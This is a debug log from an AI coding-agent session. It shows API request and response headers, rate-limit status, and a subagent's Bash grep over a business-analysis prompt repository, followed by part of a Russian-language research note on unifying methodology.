},\n[2026-09-29T07:45:57.442Z] [STDOUT]   headers: {\n[2026-09-29T07:45:57.445Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:57.448Z] [STDOUT]     \"anthropic-beta\": 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(external, sdk-cli)\",\n[2026-09-29T07:45:57.479Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:57.484Z] [STDOUT]     \"x-claude-code-agent-id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:45:57.487Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:45:57.492Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1317\",\n[2026-09-29T07:45:57.496Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:57.499Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:45:57.502Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:57.508Z] [STDOUT]     \"x-client-request-id\": \"edfe24bd-d3df-453f-af7d-01ef20bfeb89\",\n[2026-09-29T07:45:57.514Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:57.519Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:57.572Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:57.577Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:57.586Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:57.594Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:57.605Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:57.612Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:57.617Z] [STDOUT]   },\n[2026-09-29T07:45:57.622Z] [STDOUT] }\n[2026-09-29T07:45:57.628Z] [STDOUT] [log_b4ef04, request-id: \"req_011CfXMo7J7hQsAwqwUN9rW1\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 828ms\n[2026-09-29T07:45:57.633Z] [STDOUT] [log_b4ef04] response start {\n[2026-09-29T07:45:57.640Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:57.648Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:57.654Z] [STDOUT]   headers: {\n[2026-09-29T07:45:57.658Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:57.661Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:57.665Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:57.670Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:57.674Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:57.677Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:57.680Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:57.685Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:57.692Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:57.697Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:57.703Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:57.706Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:57.711Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:57.716Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:57.720Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:57.724Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:57.729Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:57.733Z] [STDOUT]     \"cf-ray\": \"a4295f094c1c4d8b-FRA\",\n[2026-09-29T07:45:57.736Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:57.744Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:57.750Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:57.756Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:57.761Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:57 GMT\",\n[2026-09-29T07:45:57.765Z] [STDOUT]     \"request-id\": \"req_011CfXMo7J7hQsAwqwUN9rW1\",\n[2026-09-29T07:45:57.768Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:57.770Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:57.772Z] [STDOUT]     traceresponse: \"00-16c68d58a7e7525ad74ce138f42493d9-0ef4abc9eaea0bec-01\",\n[2026-09-29T07:45:57.774Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:57.780Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:57.783Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:57.788Z] [STDOUT]   },\n[2026-09-29T07:45:57.792Z] [STDOUT]   durationMs: 828,\n[2026-09-29T07:45:57.795Z] [STDOUT] }\n[2026-09-29T07:45:57.798Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:57.802Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:57 GMT\",\n[2026-09-29T07:45:57.807Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:57.810Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:57.813Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:57.818Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:57.820Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:57.825Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:57.829Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:57.833Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:57.837Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:57.840Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:57.847Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:57.851Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:57.854Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:57.860Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:57.864Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:57.868Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:57.869Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:57.873Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:57.876Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:57.879Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:57.882Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:57.885Z] [STDOUT]   \"request-id\": \"req_011CfXMo7J7hQsAwqwUN9rW1\",\n[2026-09-29T07:45:57.888Z] [STDOUT]   \"traceresponse\": \"00-16c68d58a7e7525ad74ce138f42493d9-0ef4abc9eaea0bec-01\",\n[2026-09-29T07:45:57.892Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:57.897Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:57.902Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:57.905Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:57.909Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:57.917Z] [STDOUT]   \"cf-ray\": \"a4295f094c1c4d8b-FRA\",\n[2026-09-29T07:45:57.922Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:57.928Z] [STDOUT] [log_b4ef04] response parsed {\n[2026-09-29T07:45:57.940Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:57.946Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:57.950Z] [STDOUT]   body: X {\n[2026-09-29T07:45:57.960Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:57.964Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:57.972Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:57.980Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:57.983Z] [STDOUT]     },\n[2026-09-29T07:45:57.987Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:57.989Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:57.994Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:57.997Z] [STDOUT]   },\n[2026-09-29T07:45:58.000Z] [STDOUT]   durationMs: 829,\n[2026-09-29T07:45:58.004Z] [STDOUT] }\n[2026-09-29T07:45:58.104Z] [STDOUT] [log_be45db, request-id: \"req_011CfXMoA3ojHaEFwxPPmbbE\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 805ms\n[2026-09-29T07:45:58.109Z] [STDOUT] [log_be45db] response start {\n[2026-09-29T07:45:58.121Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:58.125Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:58.128Z] [STDOUT]   headers: {\n[2026-09-29T07:45:58.132Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:58.137Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:58.145Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:58.151Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:58.156Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:58.160Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:58.165Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:58.167Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:58.170Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:58.173Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:58.177Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:58.180Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:58.182Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:58.185Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:58.189Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:58.195Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:58.198Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:58.201Z] [STDOUT]     \"cf-ray\": \"a4295f0d2d0f29ad-FRA\",\n[2026-09-29T07:45:58.204Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:58.210Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:58.213Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:58.216Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:58.220Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:58 GMT\",\n[2026-09-29T07:45:58.222Z] [STDOUT]     \"request-id\": \"req_011CfXMoA3ojHaEFwxPPmbbE\",\n[2026-09-29T07:45:58.226Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:58.230Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:58.232Z] [STDOUT]     traceresponse: \"00-5909956041f450e7463a3e2fed3c2142-a8d34ab732cf4eda-01\",\n[2026-09-29T07:45:58.236Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:58.239Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:58.244Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:58.247Z] [STDOUT]   },\n[2026-09-29T07:45:58.250Z] [STDOUT]   durationMs: 805,\n[2026-09-29T07:45:58.253Z] [STDOUT] }\n[2026-09-29T07:45:58.257Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:58.262Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:58 GMT\",\n[2026-09-29T07:45:58.265Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:58.270Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:58.273Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:58.276Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:58.278Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:58.281Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:58.286Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:58.297Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:58.307Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:58.312Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:58.319Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:58.337Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:58.346Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:58.354Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:58.359Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:58.365Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:58.372Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:58.392Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:58.402Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:58.408Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:58.412Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:58.421Z] [STDOUT]   \"request-id\": \"req_011CfXMoA3ojHaEFwxPPmbbE\",\n[2026-09-29T07:45:58.427Z] [STDOUT]   \"traceresponse\": \"00-5909956041f450e7463a3e2fed3c2142-a8d34ab732cf4eda-01\",\n[2026-09-29T07:45:58.431Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:58.435Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:58.444Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:58.452Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:58.456Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:58.459Z] [STDOUT]   \"cf-ray\": \"a4295f0d2d0f29ad-FRA\",\n[2026-09-29T07:45:58.464Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:58.467Z] [STDOUT] [log_be45db] response parsed {\n[2026-09-29T07:45:58.470Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:58.475Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:58.479Z] [STDOUT]   body: X {\n[2026-09-29T07:45:58.481Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:58.484Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:58.487Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:58.490Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:58.493Z] [STDOUT]     },\n[2026-09-29T07:45:58.495Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:58.497Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:58.499Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:58.502Z] [STDOUT]   },\n[2026-09-29T07:45:58.505Z] [STDOUT]   durationMs: 805,\n[2026-09-29T07:45:58.510Z] [STDOUT] }\n[2026-09-29T07:45:58.934Z] [INFO] {\n[2026-09-29T07:45:58.934Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:58.934Z] [INFO]   \"message\": {\n[2026-09-29T07:45:58.934Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:58.934Z] [INFO]     \"id\": \"msg_011CfXMoATNCDykFQfSkzUzA\",\n[2026-09-29T07:45:58.934Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:58.934Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:58.934Z] [INFO]     \"content\": [\n[2026-09-29T07:45:58.934Z] [INFO]       {\n[2026-09-29T07:45:58.934Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:45:58.934Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:45:58.934Z] [INFO]         \"signature\": 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{\n[2026-09-29T07:46:01.214Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:01.214Z] [INFO]   \"message\": {\n[2026-09-29T07:46:01.214Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:01.214Z] [INFO]     \"id\": \"msg_011CfXMo7sLjVKqedPjq2nXG\",\n[2026-09-29T07:46:01.214Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:01.214Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:01.214Z] [INFO]     \"content\": [\n[2026-09-29T07:46:01.214Z] [INFO]       {\n[2026-09-29T07:46:01.214Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:46:01.214Z] [INFO]         \"id\": \"toolu_01WPasMniLC2ZPWsJq3cLiBF\",\n[2026-09-29T07:46:01.214Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:46:01.214Z] [INFO]         \"input\": {\n[2026-09-29T07:46:01.214Z] [INFO]           \"command\": \"cd /tmp/mango_ba_prompts && grep -rIn --exclude-dir=.git -iE \\\"\\\\bcline\\\\b|Claude Code|OpenAI Codex|hive-mind|SKILL\\\\.md|superpowers|claude\\\\.ai|chat\\\\.qwen|qwen\\\\.ai|Qwen Chat|web-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441|GigaChat|\u0413\u0438\u0433\u0430\u0447\u0430\u0442|DeepSeek|Yandex|YandexGPT\\\" . | cut -c1-260 | head -50\",\n[2026-09-29T07:46:01.214Z] [INFO]           \"description\": \"Find runtime environment mentions\"\n[2026-09-29T07:46:01.214Z] [INFO]         },\n[2026-09-29T07:46:01.214Z] [INFO]         \"caller\": {\n[2026-09-29T07:46:01.214Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:46:01.214Z] [INFO]         }\n[2026-09-29T07:46:01.214Z] [INFO]       }\n[2026-09-29T07:46:01.214Z] [INFO]     ],\n[2026-09-29T07:46:01.214Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:01.214Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:01.214Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:01.214Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:01.214Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:01.214Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:01.214Z] [INFO]       \"cache_creation_input_tokens\": 878,\n[2026-09-29T07:46:01.214Z] [INFO]       \"cache_read_input_tokens\": 77654,\n[2026-09-29T07:46:01.214Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:01.214Z] [INFO]         \"ephemeral_5m_input_tokens\": 878,\n[2026-09-29T07:46:01.214Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:46:01.214Z] [INFO]       },\n[2026-09-29T07:46:01.214Z] [INFO]       \"output_tokens\": 2,\n[2026-09-29T07:46:01.214Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:46:01.214Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:46:01.214Z] [INFO]     },\n[2026-09-29T07:46:01.214Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:46:01.214Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:46:01.214Z] [INFO]     \"context_management\": null\n[2026-09-29T07:46:01.214Z] [INFO]   },\n[2026-09-29T07:46:01.214Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:46:01.214Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:01.214Z] [INFO]   \"uuid\": \"79541c7a-30a6-4ffc-b81c-2bb7595517a0\",\n[2026-09-29T07:46:01.214Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:01.208Z\",\n[2026-09-29T07:46:01.214Z] [INFO]   \"request_id\": \"req_011CfXMo7J7hQsAwqwUN9rW1\",\n[2026-09-29T07:46:01.214Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:01.214Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:46:01.214Z] [INFO] }\n[2026-09-29T07:46:01.227Z] [INFO] {\n[2026-09-29T07:46:01.227Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:46:01.227Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:46:01.227Z] [INFO]   \"task_id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:46:01.227Z] [INFO]   \"tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:46:01.227Z] [INFO]   \"description\": \"Running Find runtime environment mentions\",\n[2026-09-29T07:46:01.227Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:01.227Z] [INFO]   \"usage\": {\n[2026-09-29T07:46:01.227Z] [INFO]     \"total_tokens\": 79233,\n[2026-09-29T07:46:01.227Z] [INFO]     \"tool_uses\": 20,\n[2026-09-29T07:46:01.227Z] [INFO]     \"duration_ms\": 98914\n[2026-09-29T07:46:01.227Z] [INFO]   },\n[2026-09-29T07:46:01.227Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:46:01.227Z] [INFO]   \"uuid\": \"6edf9323-2a17-4944-9946-01f0f439d044\",\n[2026-09-29T07:46:01.227Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:46:01.227Z] [INFO] }\n[2026-09-29T07:46:03.091Z] [INFO] {\n[2026-09-29T07:46:03.091Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:03.091Z] [INFO]   \"message\": {\n[2026-09-29T07:46:03.091Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:03.091Z] [INFO]     \"content\": [\n[2026-09-29T07:46:03.091Z] [INFO]       {\n[2026-09-29T07:46:03.091Z] [INFO]         \"tool_use_id\": \"toolu_01XvKvAewYZc1jRgU2tZPQ42\",\n[2026-09-29T07:46:03.091Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:03.091Z] [INFO]         \"content\": \"=== methodology-unification\\n## BLUF: \u0434\u0435\u0441\u044f\u0442\u044c \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439\\n\\n1. **\u0415\u0434\u0438\u043d\u043e\u0439 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0438 \u0411\u0410 \u0432 \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u043d\u0435\u0442** \u2014 \u0435\u0441\u0442\u044c 368 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432\\n   \u0437\u043d\u0430\u043d\u0438\u044f, \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0441\u0442\u0430\u0442\u0443\u0441 \u0438\u043c\u0435\u044e\u0442 13 %, \u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u043e\u0435 \u044f\u0434\u0440\u043e \u0411\u0410\\n   (\u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u044f, \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, \u043f\u0440\u043e\u0446\u0435\u0441\u0441 BCREQ) \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u043b\u0435\u0436\u0438\u0442 \u0432 \u0441\u043f\u0438\u0446\u0435\\n   [`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts) \u0441\u043e\\n   \u0441\u0442\u0430\u0442\u0443\u0441\u043e\u043c `draft`. \u0417\u0430\u043c\u0435\u0440:\\n   [`2026-09-07-ecosystem-knowledge-inventory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-07-ecosystem-knowledge-inventory.md).\\n2. **\u0424\u043e\u0440\u043c\u0430 \u0437\u043d\u0430\u043d\u0438\u044f \u043d\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0430, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u2014 \u043d\u0435\u0442.** 13 \u0438\u0437 15 \u0446\u0435\u043d\u0442\u0440\u043e\u0432 \u043f\u0440\u0438\u0442\u044f\u0436\u0435\u043d\u0438\u044f\\n   \u0433\u0440\u0430\u0444\u0430 \u043d\u043e\u0440\u043c\u0438\u0440\u0443\u044e\u0442 \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u0438\u0435 (\u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439, \u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435, frontmatter, \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\\n   